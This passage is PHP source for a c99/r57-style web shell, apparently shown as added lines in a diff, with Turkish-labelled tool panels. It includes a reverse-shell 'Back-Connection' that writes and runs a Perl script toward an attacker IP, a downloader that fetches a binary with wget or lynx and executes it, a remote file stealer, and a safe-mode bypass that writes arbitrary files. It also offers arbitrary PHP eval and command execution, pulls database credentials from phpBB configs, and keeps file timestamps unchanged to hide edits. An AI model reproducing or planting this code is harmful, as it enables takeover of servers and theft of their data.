name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + + + + + + + ?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57 </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"> + </div> + <form action="<?php echo $surl; ?>"> +<b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + + + <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> + + </center> + </td> +</tr></TABLE> + + + + + + + +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><b>Safe_Mode Bypass</b> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + <textarea name="erorr" cols=100 rows=10></textarea></br> + <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84> + <input type="submit" value="Write 2 File !!"> + + </form> + + + + + + + + + + + + </div> + + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500 value=""><br><br> +Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br> +<input type=submit class='stealthSubmit' Value='Dosyayi Chek'> +</form> +<br><br><br> + + + + + </center> + + </center> + </td> +</tr></TABLE> + + + + + + + + + + + + +<?php + +if (isset($_POST['dosyaa'])) +{ +dosyayicek($_POST['dosyaa'],$_POST['yeniyer']); + +} +if (!empty($_GET['ipi']) && !empty($_GET['pipi'])) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &"); +echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>"; +} +if (!empty($_GET['dolma'])) +{ +$sayko=htmlspecialchars($_GET['dolma']); +if ($sayko == "wgetcan") +{ + +myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + + +} + +else if ($sayko =="freadcan") +{ +dosyayicek($adires,"sayko_bind"); +myshellexec("./sayko_bind"); +} + +else if ($sayko == "lynxcan") +{ +myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + +} + + + + + +} + +if (!empty($_POST['erorr'])) +{ + + + +error_log($_POST['erorr'], 3, "php://".$_POST['nere']); + + + +} + + + + + + + + + +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> 